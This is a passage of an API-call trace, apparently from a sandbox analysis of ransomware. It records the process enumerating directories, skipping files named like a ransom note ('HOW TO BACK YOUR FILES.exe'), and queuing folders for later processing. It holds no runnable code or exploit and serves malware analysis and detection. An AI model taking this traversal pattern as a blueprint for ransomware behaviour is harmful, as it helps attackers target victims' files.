	[0074.868] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0074.868] lstrcmpiW (lpString1="EDGE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.868] lstrcmpiW (lpString1="EDGE", lpString2="Apollon865.txt.exe") returned 1
	[0074.868] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EDGE" | out: lpString1="EDGE") returned="EDGE"
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfb40
	[0074.868] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0074.868] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0074.868] lstrcmpiW (lpString1="EVRGREEN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.868] lstrcmpiW (lpString1="EVRGREEN", lpString2="Apollon865.txt.exe") returned 1
	[0074.868] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EVRGREEN" | out: lpString1="EVRGREEN") returned="EVRGREEN"
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8bc8
	[0074.868] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0074.868] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0074.869] lstrcmpiW (lpString1="EXPEDITN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.869] lstrcmpiW (lpString1="EXPEDITN", lpString2="Apollon865.txt.exe") returned 1
	[0074.869] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EXPEDITN" | out: lpString1="EXPEDITN") returned="EXPEDITN"
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbc8
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8b38
	[0074.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbd0 | out: ListHead=0x5b76b0, ListEntry=0x59fbd0) returned 0x59fe30
	[0074.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44b0f930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44b0f930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.869] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1
	[0074.869] lstrcmpiW (lpString1="ICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.869] lstrcmpiW (lpString1="ICE", lpString2="Apollon865.txt.exe") returned 1
	[0074.869] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ICE" | out: lpString1="ICE") returned="ICE"
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0074.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fbd0
	[0074.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0074.869] lstrcmpiW (lpString1="INDUST", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.869] lstrcmpiW (lpString1="INDUST", lpString2="Apollon865.txt.exe") returned 1
	[0074.869] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="INDUST" | out: lpString1="INDUST") returned="INDUST"
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfbc8
	[0074.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0074.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0074.869] lstrcmpiW (lpString1="IRIS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.869] lstrcmpiW (lpString1="IRIS", lpString2="Apollon865.txt.exe") returned 1
	[0074.869] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="IRIS" | out: lpString1="IRIS") returned="IRIS"
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0074.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfc50
	[0074.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0074.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0074.870] lstrcmpiW (lpString1="JOURNAL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.870] lstrcmpiW (lpString1="JOURNAL", lpString2="Apollon865.txt.exe") returned 1
	[0074.870] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="JOURNAL" | out: lpString1="JOURNAL") returned="JOURNAL"
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfcd8
	[0074.870] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0074.870] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0074.870] lstrcmpiW (lpString1="LAYERS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.870] lstrcmpiW (lpString1="LAYERS", lpString2="Apollon865.txt.exe") returned 1
	[0074.870] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="LAYERS" | out: lpString1="LAYERS") returned="LAYERS"
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfd60
	[0074.870] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0074.870] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0074.870] lstrcmpiW (lpString1="LEVEL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.870] lstrcmpiW (lpString1="LEVEL", lpString2="Apollon865.txt.exe") returned 1
	[0074.870] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="LEVEL" | out: lpString1="LEVEL") returned="LEVEL"
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fee8
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bfde8
	[0074.870] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fef0 | out: ListHead=0x5b76b0, ListEntry=0x59fef0) returned 0x59fed0
	[0074.870] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0074.870] lstrcmpiW (lpString1="NETWORK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.870] lstrcmpiW (lpString1="NETWORK", lpString2="Apollon865.txt.exe") returned 1
	[0074.870] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="NETWORK" | out: lpString1="NETWORK") returned="NETWORK"
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff08
	[0074.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfe70
	[0074.870] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff10 | out: ListHead=0x5b76b0, ListEntry=0x59ff10) returned 0x59fef0
	[0074.870] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0074.870] lstrcmpiW (lpString1="PAPYRUS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.870] lstrcmpiW (lpString1="PAPYRUS", lpString2="Apollon865.txt.exe") returned 1
	[0074.871] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PAPYRUS" | out: lpString1="PAPYRUS") returned="PAPYRUS"
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff28
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfef8
	[0074.871] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff30 | out: ListHead=0x5b76b0, ListEntry=0x59ff30) returned 0x59ff10
	[0074.871] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0074.871] lstrcmpiW (lpString1="PIXEL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.871] lstrcmpiW (lpString1="PIXEL", lpString2="Apollon865.txt.exe") returned 1
	[0074.871] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PIXEL" | out: lpString1="PIXEL") returned="PIXEL"
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff48
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf568
	[0074.871] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff50 | out: ListHead=0x5b76b0, ListEntry=0x59ff50) returned 0x59ff30
	[0074.871] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0074.871] lstrcmpiW (lpString1="PROFILE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.871] lstrcmpiW (lpString1="PROFILE", lpString2="Apollon865.txt.exe") returned 1
	[0074.871] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PROFILE" | out: lpString1="PROFILE") returned="PROFILE"
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff68
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bff80
	[0074.871] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff70 | out: ListHead=0x5b76b0, ListEntry=0x59ff70) returned 0x59ff50
	[0074.871] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0074.871] lstrcmpiW (lpString1="QUAD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.871] lstrcmpiW (lpString1="QUAD", lpString2="Apollon865.txt.exe") returned 1
	[0074.871] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="QUAD" | out: lpString1="QUAD") returned="QUAD"
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff88
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c0008
	[0074.871] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff90 | out: ListHead=0x5b76b0, ListEntry=0x59ff90) returned 0x59ff70
	[0074.871] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0074.871] lstrcmpiW (lpString1="RADIAL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.871] lstrcmpiW (lpString1="RADIAL", lpString2="Apollon865.txt.exe") returned 1
	[0074.871] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="RADIAL" | out: lpString1="RADIAL") returned="RADIAL"
	[0074.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffa8
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5c0090
	[0074.872] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffb0 | out: ListHead=0x5b76b0, ListEntry=0x59ffb0) returned 0x59ff90
	[0074.872] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0074.872] lstrcmpiW (lpString1="REFINED", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.872] lstrcmpiW (lpString1="REFINED", lpString2="Apollon865.txt.exe") returned 1
	[0074.872] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="REFINED" | out: lpString1="REFINED") returned="REFINED"
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffc8
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c0118
	[0074.872] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffd0 | out: ListHead=0x5b76b0, ListEntry=0x59ffd0) returned 0x59ffb0
	[0074.872] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0074.872] lstrcmpiW (lpString1="RICEPAPR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.872] lstrcmpiW (lpString1="RICEPAPR", lpString2="Apollon865.txt.exe") returned 1
	[0074.872] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="RICEPAPR" | out: lpString1="RICEPAPR") returned="RICEPAPR"
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffe8
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8aa8
	[0074.872] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fff0 | out: ListHead=0x5b76b0, ListEntry=0x59fff0) returned 0x59ffd0
	[0074.872] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0074.872] lstrcmpiW (lpString1="RIPPLE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.872] lstrcmpiW (lpString1="RIPPLE", lpString2="Apollon865.txt.exe") returned 1
	[0074.872] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="RIPPLE" | out: lpString1="RIPPLE") returned="RIPPLE"
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0008
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5c01a0
	[0074.872] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0010 | out: ListHead=0x5b76b0, ListEntry=0x5a0010) returned 0x59fff0
	[0074.872] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0074.872] lstrcmpiW (lpString1="RMNSQUE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.872] lstrcmpiW (lpString1="RMNSQUE", lpString2="Apollon865.txt.exe") returned 1
	[0074.872] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="RMNSQUE" | out: lpString1="RMNSQUE") returned="RMNSQUE"
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0028
	[0074.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5c0228
	[0074.872] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0030 | out: ListHead=0x5b76b0, ListEntry=0x5a0030) returned 0x5a0010
	[0074.873] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0074.873] lstrcmpiW (lpString1="SATIN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.873] lstrcmpiW (lpString1="SATIN", lpString2="Apollon865.txt.exe") returned 1
	[0074.873] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SATIN" | out: lpString1="SATIN") returned="SATIN"
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0048
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5c02b0
	[0074.873] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0050 | out: ListHead=0x5b76b0, ListEntry=0x5a0050) returned 0x5a0030
	[0074.873] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1
	[0074.873] lstrcmpiW (lpString1="SKY", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.873] lstrcmpiW (lpString1="SKY", lpString2="Apollon865.txt.exe") returned 1
	[0074.873] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SKY" | out: lpString1="SKY") returned="SKY"
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0068
	[0074.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591740
	[0074.873] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0070 | out: ListHead=0x5b76b0, ListEntry=0x5a0070) returned 0x5a0050
